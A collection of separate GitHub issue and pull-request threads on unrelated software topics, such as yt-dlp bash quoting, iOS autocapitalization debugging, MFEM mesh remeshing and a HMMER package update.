Using YT-Dlp With Variable In Bash Script

Checklist

[X] I'm asking a question and not reporting a bug or requesting a feature
[X] I've looked through the README
[X] I've verified that I'm running yt-dlp version 2022.07.18 (update instructions) or later (specify commit)
[X] I've searched the bugtracker for similar questions including closed ones. DO NOT post duplicates
[X] I've read the guidelines for opening an issue

Please make sure the question is worded well enough to be understood
Hi i am trying to download a video on linux using a bash script and passing the variable to yt-dlp.
if the name has 2 words even if i put quotations its not reading as 1 word for other stuff putting it in quotations works like this "$Link" but that yt-dlp just says no link
here is my script
#!/bin/bash
Link='-v -o "test test" https://www.youtube.com/watch?v=iywx09SVETE'
echo $Link
yt-dlp $Link
(i have the link in a variable because i am downloading from a different site and changing stuff i just made a simple script to show the issue)
also i ran -v and not -vU because that doesnt show the erorr
here is what it shows
[debug] Command-line config: ['-vU', '-o', '"test', 'test"', 'https://www.youtube.com/watch?v=iywx09SVETE']
[debug] Encodings: locale UTF-8, fs utf-8, out utf-8, err utf-8, pref UTF-8
[debug] yt-dlp version 2022.04.08 [7884ade65]
[debug] Python version 3.10.4 (CPython 64bit) - Linux-<IP_ADDRESS>-microsoft-standard-WSL2-x86_64-with-glibc2.35
[debug] Checking exe version: ffmpeg -bsfs
[debug] Checking exe version: ffprobe -bsfs
[debug] exe versions: ffmpeg 4.4.2 (setts), ffprobe 4.4.2, rtmpdump 2.4
[debug] Optional libraries: brotli, certifi, Cryptodome, secretstorage, mutagen, sqlite, websockets
[debug] Proxy map: {}
Usage: yt-dlp [OPTIONS] URL [URL...]
yt-dlp: error: yt-dlp's self-update mechanism is disabled on Debian.
Please update yt-dlp using apt(8).
See https://packages.debian.org/sid/yt-dlp for the latest packaged version.
Thank You
Provide verbose output that clearly demonstrates the problem

[X] Run your yt-dlp command with -vU flag added (yt-dlp -vU <your command line>)
[X] Copy the WHOLE output (starting with [debug] Command-line config) and insert it below

Complete Verbose Output
[debug] Command-line config: ['-v', '-o', '"test', 'test"', 'https://www.youtube.com/watch?v=iywx09SVETE']
[debug] Encodings: locale UTF-8, fs utf-8, out utf-8, err utf-8, pref UTF-8
[debug] yt-dlp version 2022.04.08 [7884ade65]
[debug] Python version 3.10.4 (CPython 64bit) - Linux-<IP_ADDRESS>-microsoft-standard-WSL2-x86_64-with-glibc2.35
[debug] Checking exe version: ffmpeg -bsfs
[debug] Checking exe version: ffprobe -bsfs
[debug] exe versions: ffmpeg 4.4.2 (setts), ffprobe 4.4.2, rtmpdump 2.4
[debug] Optional libraries: brotli, certifi, Cryptodome, secretstorage, mutagen, sqlite, websockets
[debug] Proxy map: {}
ERROR: Fixed output name but more than one file to download: "test

https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#is-your-question-about-yt-dlp
Ask your questions about bash in appropriate forums


Add Epic Games support

Adds detection support for games installed via:

Epic Games launcher
Legendary (alternative open source CLI launcher for Epic Games)
which is the base for:

Rare (Python / PyQT GUI)
HeroicGamesLauncher (Electron GUI)

Adds the field GameEpicId to BasicGames, which is the AppName from Epic's manifest files etc., as noted in README.
Supported games / game plugins
Currently only the following games get detected / have a GameEpicId added (from free games):

Subnautica = "Jaguar"
Kingdom Come: Deliverance = "Eel"

I have not found an online API to get the ID / AppName (reliably) for a game name.
If someone owns other games with mod support on Epic:
You can get the AppName from (see README)

C:\ProgramData\Epic\EpicGamesLauncher\Data\Manifests\ (.item files)
or: C:\ProgramData\Epic\EpicGamesLauncher\UnrealEngineLauncher\LauncherInstalled.dat
For Legendary via command legendary list-games
or from: %USERPROFILE%\.config\legendary\installed.json

I definitely like this implementation better with the registry key and the specific exceptions. :)

Merged into qt6, will probably need some testing.


Load gif on UIImage

I want to load gif image on a UIImage, I use JSQMessageView and in cell.mediaView I can not access any UIImageView so I did this to change media view. but images do not animate. Is it possible to do what I want?
here is my code:
let urlString = Helpers.getUrlFromGiphyText(text: message.body!)
      if let url = URL(string: urlString) {
        KingfisherManager.shared.retrieveImage(with: url, options: [.processor(DefaultImageProcessor.default), .cacheSerializer(FormatIndicatedCacheSerializer.gif)], progressBlock: { receivedSize, totalSize in
          print("\(indexPath.row + 1): \(receivedSize)/\(totalSize)")
        }, completionHandler: { image, error, cacheType, imageURL in
          if let gifImage = image {
          let mediaItem = JSQPhotoMediaItem(image: gifImage)
          cell.mediaView = mediaItem?.mediaView()
          }
        })
      }

I am not sure about what the JSQMessageView and JSQPhotoMediaItem is doing. Maybe it should not be an issue in Kingfisher.
I am closing it.


iOS autocorrect not autocapitalizing

"on autocorrect, often I'll type a period space and won't get autocapitalization behavior... sometimes I will often i wont" -Parth

"Some more info on autocapitalization being bad:

if I period space it works
if I double tap space (auto insert period it does not)
once I have period spaced and I move the pointer around via floating cursor, it stays in the autocapitalized state." -Parth

I found one issue (by logging ffi function calls and results) where apple asks us where the start of the sentence is, we say {location}, then it asks if {location} is at the start of the sentence and we say no it's not
bound_from_position: CTextPosition { none: false, pos: 0 } Sentence true
-> CTextPosition { none: false, pos: 0 }
is_position_at_bound: CTextPosition { none: false, pos: 0 } Sentence true
-> false

I also found an issue where, after we insert text, there's a time (before next editor frame) where we provide answers over these ffi functions that do not reflect the text insertion
insert_text: "i"
get_selected
get_selected
get_selected
get_marked
get_marked
get_selected
get_marked
bound_from_position: CTextPosition { none: false, pos: 1 } Sentence true
-> CTextPosition { none: false, pos: 0 }
bound_from_position: CTextPosition { none: false, pos: 1 } Sentence false
-> CTextPosition { none: false, pos: 1 }
bound_from_position: CTextPosition { none: false, pos: 0 } Sentence true
-> CTextPosition { none: false, pos: 0 }
bound_from_position: CTextPosition { none: false, pos: 1 } Sentence false
-> CTextPosition { none: false, pos: 1 }
bound_from_position: CTextPosition { none: false, pos: 0 } Sentence true
-> CTextPosition { none: false, pos: 0 }
bound_from_position: CTextPosition { none: false, pos: 1 } Sentence false
-> CTextPosition { none: false, pos: 1 }
text_range: CTextPosition { none: false, pos: 0 } CTextPosition { none: false, pos: 1 }
text_in_range: CTextRange { none: false, start: CTextPosition { none: false, pos: 0 }, end: CTextPosition { none: false, pos: 1 } }
text_range: CTextPosition { none: false, pos: 1 } CTextPosition { none: false, pos: 1 }
text_in_range: CTextRange { none: false, start: CTextPosition { none: false, pos: 1 }, end: CTextPosition { none: false, pos: 1 } }
text_range: CTextPosition { none: false, pos: 1 } CTextPosition { none: false, pos: 1 }
text_in_range: CTextRange { none: false, start: CTextPosition { none: false, pos: 1 }, end: CTextPosition { none: false, pos: 1 } }
has_text
get_marked
get_selected
cursor_rect_at_position: CTextPosition { none: false, pos: 1 }
get_selected
cursor_rect_at_position: CTextPosition { none: false, pos: 1 }
beginning_of_document
get_selected
beginning_of_document
end_of_document
-> CTextPosition { none: false, pos: 1 }
get_selected
get_marked
get_marked
beginning_of_document
end_of_document
-> CTextPosition { none: false, pos: 1 }
text_range: CTextPosition { none: false, pos: 0 } CTextPosition { none: false, pos: 1 }
text_in_range: CTextRange { none: false, start: CTextPosition { none: false, pos: 0 }, end: CTextPosition { none: false, pos: 1 } }
current_tab
has_text
has_text
beginning_of_document
end_of_document
-> CTextPosition { none: false, pos: 2 }

it's also definitely relevant that we don't do sentence segmentation:
CTextGranularity::Sentence => Bound::Paragraph, // note: sentence handled as paragraph


Notification server have been removed

Congratulations for the great job, @adrienmo.
I just saw that dependencies related to notification servers have been removed, right?
In this sense, all queries now are being directed to neo-cli c# clients with NEP5 plugin, correct?
I think that it will surely allow a better experience in long-term use.

Hi @vncoelho yes that's correct, it does not need the notification server anymore. The query can be directly done the the c# client and they need to have the function getapplicationlog enabled which I guess is the nep5 plugin. Can I close the issue or do you need something about this?

Perfect, @adrienmo. Nice job.
I already upgraded our system, thanks.


"MaterialIcon.Kind" property is not StyledProperty

Problem: can't be used in selector with child element.
Exception: (System.InvalidOperationException: Cannot set direct property 'Kind' in 'CheckBox[IsChecked=True] > MaterialIcon' because the style has an activator.)
Example(CheckBox with changing Icon depending on IsChecked):

Hello, @Sophisticated-IS
Which version of Material.Icons.Avalonia you have?

Hello, @Sophisticated-IS
Which version of Material.Icons.Avalonia you have?

Hello, @Sophisticated-IS
Which version of Material.Icons.Avalonia you have?

Material.Icons.Avalonia 2.0.0.

@SKProCH I checked with 2.0.1. It works fine.


no episode info

Hi,
i'm trying to use your program. It seems to be perfect for my needs.
unfortunately, i'm not seeing episode info in xmltv.
It could be nice to have the <episode-num ...> attributes in xmltv because TvHeadEnd uses it to set the recorder
thanks

moreover
is possibile multi-language? :)


very strange fail

s-ludwig, I really can't understand what I am doing wrong. My very small cms based on vibed for dlang.ru worked fine on Windows, but after migration to Debian 8.5 it's failing, and I can't even find the moment of error. Logs are empty.
I tried to wrap main to try-catch block, and do: ./dcms >> log.txt 2>&1. All logs are empty. The code is incredible simple. https://github.com/bubnenkoff/dlang.ru
Do you have any ideas how I can detect the reason of issue?
I tried to add versions "libasync" to dub.sdl, because I thought that the reason of error is even-loop, but it's seems that error in another place.
Do you have any ideas what I can to try?

Do you have any ideas what I can to try?

What vibe.d version do you use?
What D compiler?
Have you tried updating both to the latest?
Have you tried starting it with gdb to get a stacktrace?

vibed 0.8.1
dmd 2.075.1
I do not know how use gdb with ssh. If you can help I can give connection credentials to you. I do not have enough experience :(

I've installed a Debian 8.9 VM and it worked there. I can make an attempt to debug the issue over ssh, you can add my GitHub public key to a local user account:
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIEAvsTMITpvxaJ9L8JeH9KY9qrRvA6Q0RWVSRmeB+gNI44Mnjdyiok0gC/juSW+a3EFnE7bGLNmSSItF5sMJ9PTQRgQppiyF5mA0z9BXaX4RuD9huHY7rSJ4lXY/rodgmvNbIXZx0FDa5glTkR3VZmlA3eZH3IU5uvIGuupuPd7280=<EMAIL_ADDRESS>
It's probably too late for today, but I can try to find time tomorrow.

s-ludwig, big thanks for offering help. I decided that reason of failure maybe in slow disk access. I do not know how to check it, but now I optimized code to minimize disk access.
If it would not help, I will ask about help again. Because really error very strange and all was fine on Windows.
https://stackoverflow.com/questions/46021655/can-be-the-slow-reading-from-the-disk-the-reason-of-exception

It was not vibed issue. It was issue with ssh.


[Event Request] COD 700 - OnBeforeGetConditionalListPageID

Please provide OnBeforeGetConditionalListPageID(RecordRef) publisher with 'Handled' pattern.
Use case: When extending purchase header document types / or duplicating pages, overruling the standard list pages could be needed.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


How can i  create virtual key and set expression

Your Question
Excuse me:
i want create virtual key and set expression when i create my table, What should I do?looking forward to your reply, thanks

Hi
You can set its type like:
type User struct {
 Name string `type:"char(41) GENERATED ALWAYS AS (concat(firstname,' ',lastname))"`
}

@jinzhu
ok,I have found it today,thanks


Gift Box script

This will select all (max 99) Silver embers and [Gold embers based on a threshold set in more options (name subject to change)]
The font for numbers seems different depending on the server in question.
JP and NA working with the same images.
fixes #397

@ScathachSkadi I've added KR images. A build you can test should be ready in a few minutes.

As of now, I only have gold exp cards but I'll try it

It works well.

@the3dsandwich I've added TW images. Give it a try.

On it.

@MathewSachin the scroll amount is too much. It will skip items without checking some of the items with each scroll now.
I'm uploading the debug video. Should finish uploading in a few minutes.

I tweaked a little bit and found that swiping from Location(700, 1200) to Location(700, 650) (changed to Y:650) gives a pretty nice result

Hmm, right the scrolling wasn't very smooth with those values.
Let me try your values on NA too.

I got so busy replying to all questions and issues that I forgot to reply.
@the3dsandwich your swipe value works much better!


RAG application leaks DB connection objects

With IAP enabled for the RAG application, the rag-frontend workload runs out of memory after a couple of days and stops serving. I traced this to a memory leak when serving http requests. With IAP, the K8s ingress server pings the http server continuously and exposes the leak more rapidly.
The culprit is at this line in frontend/container/cloud_sql.py.
This can be fixed by moving connector = Connector() into the if statement:
  global db
  if db is None:
    connector = Connector()
    db = init_connection_pool(connector)

Refactor made to the cloud_sql module on https://github.com/GoogleCloudPlatform/ai-on-gke/pull/648


Fix code scanning alert - DOM text reinterpreted as HTML

Tracking issue for:

[ ] https://github.com/InstaZDLL/Besson_Ethan_info1a_164_2023/security/code-scanning/7

Fixed in #50


contents/reference/html docs are missing callout images

http://docs.spring.io/spring-cloud-dataflow-server-kubernetes/docs/1.1.0.RC1/reference/html/configuration-security.html#configuration-security-enabling-https

The html rendered in spring-cloud-dataflow-server-kubernetes-docs/target/contents/reference/html/index.html is missing the callouts directory.

I'm currently reworking the configuration section to have some Kubernetes specific content. So this HTTPS section that only cover running locally will need to be rewritten. I have another PR #153 that will drop this part and we will have to re-add it later with specific coverage for running HTTPS in a Kubernetes environment.


[Java] JsonPrinter does not handle sinceVersion

I think this is an oversight:
https://github.com/real-logic/simple-binary-encoding/blob/54c5ff40c9a091ec025bd645a1c734abc25d71ec/sbe-tool/src/main/java/uk/co/real_logic/sbe/json/JsonTokenListener.java#L225
Checks the version of the type, not the version of the field.
I guess in theory you should check both?
The field version should be pushed down from here:
https://github.com/real-logic/simple-binary-encoding/blob/54c5ff40c9a091ec025bd645a1c734abc25d71ec/sbe-tool/src/main/java/uk/co/real_logic/sbe/json/JsonTokenListener.java#L54-L64

Or I guess onEncoding could just skip over the field all together if it's not present in the data.


Question about Deforming Boundaries and Remeshing with TMOP

Hi all,
I have a quick question.
My problem starts with a rectangular domain, but it must have highly deformed boundaries on the top and bottom surfaces, as well as deforming inner nodes over time (see attached image). So, I need to remesh my mesh continuously to run my model without blowing up.
However, to ensure the shape of my domain, I need to apply fixed boundary conditions for the TMOP method.
As a result, there may be unimproved elements near the top and bottom boundaries (see attached image).
I've heard that a boundary-fitting meshing (mesh-fitting app) approach can be useful for resolving my issue. However, the example you mentioned handles only the inner boundary using different material indicators.
In my case, the problem involves a single material and an arbitrary shape that is not determined analytically.
If you could provide me with any insights or solutions, it would be greatly appreciated.
Many thanks
Sungho

Hi @sungho91, what should the boundary nodes do in this case? (knowing that the initial boundary normals are generally discontinuous across the elements).

When TMOP runs, I'd like the boundary nodes to move tangentially to the arbitrary shape of the left, right, top, and bottom boundaries. So, if the domain is simply a box, the top nodes can move in the x-direction, but their movement follows the first derivative direction if the boundary is a curved shape.

We have some ongoing work on such methods, but that is not ready yet.
As I wrote above, the main challenge is that the tangential direction is not well-defined if we only use the mesh faces. This requires some form of approximate treatment to improve smoothness, which consequently will not preserve the original discrete surface exactly. Then when remap is involved, one has to decide what to do with the mismatch between the boundaries. So are you willing to tolerate a geometric error? If not, keeping the nodes fixed is probably the best.

Hi @vladotomov,
It's been a long time since I started working on boundary-preserved remeshing on a deformed boundary. I realized that a two-step remeshing approach would resolve this issue.
Figure 1 depicts the standard remeshing process using a free slip condition, resulting in a change in the shape of the domain after remeshing.
However, in Figure 2, the shape of the domain remains unchanged after remeshing. To achieve this, I flatten the top and bottom boundaries, transforming my model into a square domain. I then remesh this model using a free slip condition.
By utilizing both the flattened model and the remeshed model, I interpolate the grid function of coordinates before remeshing, allowing me to find coordinates on the boundary of the deformed shape of the domain. Finally, I update these interpolated values to the mesh and perform a remesh with fixed boundaries.

Figure 1. Remeshing with freeslip condition.

Figure 2. Two-step remeshing

Looks good, but if you detach the treatment of the boundary and the internal nodes, things can tangle quickly, especially with curved meshes.

@vladotomov,
Yes yes, I've faced the negative Jacobian issue (https://github.com/mfem/mfem/issues/4047). This is strange as this process is technically stretching. However, things tangle eventually. I don't understand why and how to untangle them.


switching pages is slower than in UIWebview / Black animation

Switching between pages is slower than in UIWebview. I'm using ionic 1 with sidemenu when i select another page the current menupoint is highlighted in blue and also the new menu i press gets highlighted in blue, it stays like this for like 1-2 second before closing the menu and going to the new page.
Also when switching pages there is sometimes a black flickering / black animation. (Could be that those 2 issues hangs togheter, and because of can't loading the animation, it responses slow..)
Maybe it's also a bit slow because of all the XHR interceptions to all templates like for exampletemplates/filter/item.html
Cordova CLI: 6.3.1
Gulp version:  CLI version 3.9.1
Gulp local:   Local version 3.9.1
Ionic Framework Version: 1.3.1
Ionic CLI Version: 2.0.0-beta.35
Ionic App Lib Version: 2.0.0-beta.19
ios-deploy version: 1.8.6
ios-sim version: 5.0.8
OS: Mac OS X El Capitan
Node Version: v5.12.0
Xcode version: Xcode 7.3 Build version 7D175

@mnewmedia hi!
does it happen the first time only right? angular 2 should cache the template so it does not have to requested them more than once.

Maybe it's also a bit slow because of all the XHR interceptions to all templates like for exampletemplates/filter/item.html

probably yes. A "real" XHR to file (like it was in UIWebView) is probably a very optimized operation.
Fortunately, there are still a lot of optimization strategies we can try to make this faster.

We can even prefetch templates in RAM (based in previous app usage).
Optimize [self quoteString:] function
Optimize memory allocation
Optimize JS side

Right now, we just wanted something that worked as better as possible.
Also, making the XHR bypass faster will not matter once "offline compiling" is done.
offline compiling will compile your HTML templates into JS code at comping time, so angular will not even perform any XHR! Once this is done, initial loading and switching pages will be instant.
We are working closely with the angular team at google to make this a reality!
Check out:
https://github.com/driftyco/ionic/commits/deeplinks-ngmodule
https://github.com/driftyco/ionic/issues/6776
In the meantime, you can inline your templates in your JS so you save XHR requests or you can actively help us making this plugin faster!


[FIX] Update of notion DB broken

See #12

This information is important but All those issues are printed because I am assigned to those ones

NB : I had to upgrade packages like notion and octokit to make the running better


Time related error on grib2 datasets

When requesting tiles from xpublish-wms using our grib2 datasets, we get the resulting error:
ValueError: Dimensions {'time'} do not exist. Expected one or more of ('latitude', 'longitude')
Ran on Ubuntu 23.10, using xpublish-wms commit 36e44b4 , on Python 3.11.6
Server code:
import xarray as xr
import xpublish

ds = xr.open_dataset('./gfswave.t12z.global.0p16.f001.grib2', chunks={})
ds.rest.serve()

Link to tile request that causes this error: http://localhost:9000/wms/?FORMAT=image%2Fpng&TRANSPARENT=TRUE&STYLES=default-scalar%2Fdefault&LAYERS=ws&COLORSCALERANGE=-1.082%2C24.48&NUMCOLORBANDS=250&ABOVEMAXCOLOR=0x000000&BELOWMINCOLOR=0x000000&BGCOLOR=transparent&LOGSCALE=false&SERVICE=WMS&VERSION=1.3.0&REQUEST=GetMap&SRS=EPSG%3A4326&BBOX=135.0,5.615985819155334,140.625,11.178401873711781&WIDTH=256&HEIGHT=256
Bug occurred on the following GRIB2 datasets: GRIB2_datasets.zip
@mpiannucci

@NicholasMarkou can you give the main branch a test now? Quick test showed the grib files you attached to work fine and would love to know if it works for you

@mpiannucci The new main branch has fixed the issue

This fixes the issue for GRIB2 datasets, but in turn causes an issue with our (working) NetCDF dataset.
ValueError: DataArray ssh is backed by a Dask array,  but coordinate x is not backed by a Dask array with identical  dimension order and chunks
This is the same error we were getting with our interim fix that got GRIB2 files working in the past, so we have seen this before.
Here is a direct link to an example dataset with the issue (it may apply to other NetCDF datasets but we are having a separate issue with those):
https://noaa-nws-rtofs-pds.s3.amazonaws.com/rtofs.20230925/rtofs_glo_2ds_f001_diag.nc

Ok test with latest main when you get a chance please!


Add OcmAgent selectorsyncset for management clusters

What type of PR is this?
(feature)
What this PR does / why we need it?
This pull request demonstrates how to deploy OCM agent in fleet mode on management clusters.
Which Jira/Github issue(s) this PR fixes?
Fixes #
https://issues.redhat.com/browse/OSD-20371
Special notes for your reviewer:
Spike doc explaining how to test this: https://docs.google.com/document/d/1nw4XeEftcq67M9Jg9ljJd5W09y-8mE05KHdXxgk5QOk/edit
Pre-checks (if applicable):

[ ] Tested latest changes against a cluster
[ ] Ran make generate command locally to validate code changes
[ ] Included documentation changes with PR

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 48.08%. Comparing base (a42d1c4) to head (111c265).
Report is 2 commits behind head on master.

Additional details and impacted files

@@            Coverage Diff             @@
##           master      #93      +/-   ##
==========================================
- Coverage   49.17%   48.08%   -1.10%
==========================================
  Files          20       20
  Lines        1452     1512      +60
==========================================
+ Hits          714      727      +13
- Misses        698      745      +47
  Partials       40       40

see 5 files with indirect coverage changes

Depends on https://gitlab.cee.redhat.com/service/app-interface/-/merge_requests/99468/diffs being merged

lgtm

/lgtm

/approve


Add embedded form view template

Adds a new view template which allows e.g. a Google form to be embedded in a page. Uses the Admin::Conferences::Url page part which provides basic validation.

Pull Request Test Coverage Report for Build 770456286

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 94.35%

Totals

Change from base Build 768653959:
0.0%

Covered Lines:
145

Relevant Lines:
155

💛  - Coveralls


Uppercase letter and underscore in CRUD name and table name issue

Cannot use underscore or uppercase letter in CRUD name using sqlite database.
Error:
NotFoundHttpException in Handler.php line 103:
No query results for model [Laraveldaily\Quickadmin\Models\Menu].
ModelNotFoundException in Builder.php line 303:
No query results for model [Laraveldaily\Quickadmin\Models\Menu].

Thank you for the issue report, we currently don't support sqlite database and package wasn't tested for it.


added a feature and implemented in provisioner.py

Addressing issues #8092,
Implement this feature in small, manageable steps.

created a new file provisioner.py in moto/cloudformation.
Implement CloudFormation template parsing: Add a method to read and parse JSON/YAML CloudFormation templates.
implemented this functions parse_cloudformation() , provision_resources() and created instance AWS::EC2::Instance.

This looks like what an LLM would output. Please don't use LLM code without reviewing it and ensuring that it works (or force others to spend time reviewing it). As is, this does not even compile.


Implement the extern "C" linkage

I was thinking to implement the extern "C" linkage.
It would be something as described below.
filament/c/src/Engine.cpp
#include <filament/Camera.h>
#include <filament/Engine.h>
#include <filament/Renderer.h>

using namespace filament;

extern "C" {
  Engine *filament_Engine_create(Engine::Backend backend, Engine::Platform *platform, void *sharedGLContext) {
    return Engine::create(backend, platform, sharedGLContext);
  }

  Camera *filament_Engine_createCamera(Engine *engine) {
    if (engine) {
      return engine->createCamera();
    }

    return nullptr;
  }

  Renderer *filament_Engine_createRenderer(Engine *engine) {
    if (engine) {
      return engine->createRenderer();
    }

    return nullptr;
  }

  void filament_Engine_destroy(Engine **engine) {
    Engine::destroy(engine);
  }
}

filament/c/include/filament/Engine.h
// Structures
typedef struct filament_Engine filament_Engine;
typedef struct filament_Camera filament_Camera;
typedef struct filament_Renderer filament_Renderer;

// Enumerations
enum filament_Backend {
  filament_Backend_DEFAULT = 0,
  filament_Backend_OPENGL = 1,
  filament_Backend_VULKAN = 2,
  filament_Backend_METAL = 3,
  filament_Backend_NOOP = 4
} filament_Backend;

filament_Engine *filament_Engine_create(filament_Backend backend, filament_Platform *const platform, void *const sharedGLContext);

filament_Camera *filament_Engine_createCamera(filament_Engine *const engine);

filament_Renderer *filament_Engine_createRenderer(filament_Engine *const engine);

void filament_Engine_destroy(filament_Engine **engine);

Do you think I should proceed and commit the changes slowly?

Please see issue #139.
We already need to maintain, Java/JNI, C++, and JavaScript bindings. We regularly make mistakes when manually maintaining all those layers so we’d rather invest in a more automated solution that would generate the bindings instead.


CustomHeaderSessionAffinityProviderOptions replaces Settings collection

CustomHeaderSessionAffinityProvider uses a new option type to retrieve the custom header name instead of an entry in SessionAffinityOptions.Settings collection to be consistent with CookieSessionAffinityProvider.
Fixes #236

@halter73 Yes, that's correct. Since CookieSessionAffinityProvider can be only configured via the corresponding CookieSessionAffinityProviderOptions and not via the config, it seems reasonable at this moment to use the same approach for CustomHeaderSessionAffinityProvider. If later we see a need for more flexibility, it can be revisited.

The key design question here is if the affinity settings for either provider should be global or per backend. Do other implementations set these globaly?
Either way we can work out how to bind them to config if needed.

Do other implementations set these globaly?

Yes, CookieSessionAffinityProviderOptions is set globally currently.
Theoretically, we can introduce a new API to tie them to backends. But, I'd suggest to firstly unify the approaches (i.e. complete this PR) and the listen to the customers feedback.

I meant please check nginx and other implementations to see what level they allow this to be configured at.

I took a quick look at nginx.
https://docs.nginx.com/nginx/admin-guide/load-balancer/http-load-balancer/#sticky
It does allow the cookie to be configured per backend. That makes some sense even if it is more work.
Let's close this PR for now, update #236, and we can re-triage it next milestone.

Closing due to a change in the design and the need for a reprioritization.
#236 updated according to the new proposal.


Implement _appcast verb

I'm creating a ticket for this because every time I update a cask I wonder if there's a simpler way. Deep inside the intensely awesome checklist of #7683 lies an entry:

[ ] _appcast verb which fetches and tests appcast checksums

Now, that was only created 2014-11-19, so it's entirely reasonable that no one's gotten around to implementing it. But I have the itch, and so I'd like feedback about how this should actually be implemented.
Some questions:

should this be using the _appcast_checkpoint?
are there notes about intended behavior somewhere?
should _appcast actually modify the cask file? 99.999% of the time we'll just want to modify if a newer version is available, so if not in the _appcast verb, perhaps another?
are there any flags, features or other things we want to support?

I'm hoping the simplest usage that should possibly work might look like:
$ brew cask _appcast ./Casks/terraform.rb
Cask version: 0.9.4
Appcast version: 0.9.11
Downloading terraform... done!
Updated sha256:<PHONE_NUMBER>23123123123123
Updating cask file... done!

_appcast verb isn't in the followup list posted a year later.

because every time I update a cask I wonder if there's a simpler way

Updating a Cask

ah yes, I remember cask-repair. The problem is that I'm not dealing with official repos:
$ cd ~/src/github.com/unofficial-cask/hashicorp-tap/Casks
$ cask-repair ./terraform.rb
Updating taps… Already up-to-date.
No such cask was found in any official repo (./terraform).
$ cask-repair terraform
Updating taps… Already up-to-date.
No such cask was found in any official repo (terraform).

Does it make sense for me to improve cask-repair instead? I'd much prefer it be in core (and more importantly, in ruby!) but I know that creates a maintenance burden for all time.

_appcast verb which fetches and tests appcast checksums

This is exactly what _appcast_checkpoint does, so this is already implemented.

ah, I misunderstood. My understanding was that an _appcast verb would do what roughly what the cask-repair script does, but generalized to work on any cask or cask file. Namely, to fetch the latest application referenced in the appcast, verify the version and sha are up-to-date. That's really what I'm asking for.
Is that a thing others would like to exist?

Is that a thing others would like to exist?

That’s something that already existed, but had to be scraped. The new behaviour is in my head, but still needs to be fleshed out. There’s a short discussion of it somewhere, with @giannitm. You should find that one and continue there.
But I’ll say your fist example is utopic. We know from experience appcasts vary wildly, even in cases where they share a format and should be similar. Having a generic script for all of them is impossible — it’ll be riddled with edge-cases. Also, whatever the script does it should still call cask-repair, so we get a PR.
See also PRs by @jcbot (auto-updates Intellij casks, made by @leipert) and @victorpopkov’s cask-scripts.

@vitorgalvao I was wondering if my dreams were extravagant, good to know they are.
Is the discussion with @giannitm in a PR, mailing list, &c? Any search terms you could suggest, I think I looked at all the appcast related issues & PRs.

@josephholsten @vitorgalvao This is possibly the short discussion you were referring to?
https://github.com/caskroom/homebrew-cask/pull/33229


hmmer: 3.1b2 -> 3.2.1

Motivation for this change
This version was released in June 2018 and has many bug fixes
and improvements compared to the previous version from 2015.
See: https://cryptogenomicon.org/2018/06/07/hmmer-3-2-release/
Things done

[X] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[X] Fits CONTRIBUTING.md.

@GrahamcOfBorg build hmmer

Failure on aarch64-linux (full log)
Attempted: hmmer
Partial log (click to expand)
checking whether more special flags are required for pthreads... no
checking for PTHREAD_PRIO_INHERIT... yes
checking whether gcc can compile our Altivec/VMX code... no
checking whether gcc can compile our SSE code... no
configure: ::::::::::--- no vector instruction set ---::::::::::
configure: HMMER3 requires SSE or VMX vector instructions.
configure: Supported platforms are x86 (Intel/AMD) and PowerPC.
configure: error: No supported vectorization found for your machine.
builder for '/nix/store/mcg6gmhqlhys3wl8b5i6w94bq5mhdw9x-hmmer-3.2.1.drv' failed with exit code 1
error: build of '/nix/store/mcg6gmhqlhys3wl8b5i6w94bq5mhdw9x-hmmer-3.2.1.drv' failed

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: hmmer
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Success on x86_64-linux (full log)
Attempted: hmmer
Partial log (click to expand)
shrinking /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/bin/hmmemit
shrinking /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/bin/nhmmscan
shrinking /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/bin/hmmpgmd
shrinking /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/bin/phmmer
gzipping man pages under /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/share/man/
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1/bin
patching script interpreter paths in /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1
checking for references to /build in /nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1...
/nix/store/905s0kwnpprhyjcc5jd09dqxjcmblpmp-hmmer-3.2.1

The build on aarch64 worked before.
Upstreams stataement in the changelog:

HMMER3 now strictly requires either SSE2 or bigendian Altivec/VMX SIMD vector support, meaning we only support x86 AMD/Intel (Linux, OS/X) and PowerPC AIX. Previously we also had a “dummy” implementation in portable pure C, so if your platform didn’t have support for our SIMD vectorization code, you could still at least build HMMER and use it for non-compute-intensive stuff. Maybe that’d be useful to someone, I thought. Instead, though I plastered health warnings all over it — the dummy is >100x slower, don’t use the dummy implementation, it was written by trolls —  packagers packaged it, and benchmarkers benchmarked it and published papers that used it. I decided it was causing more trouble than good.

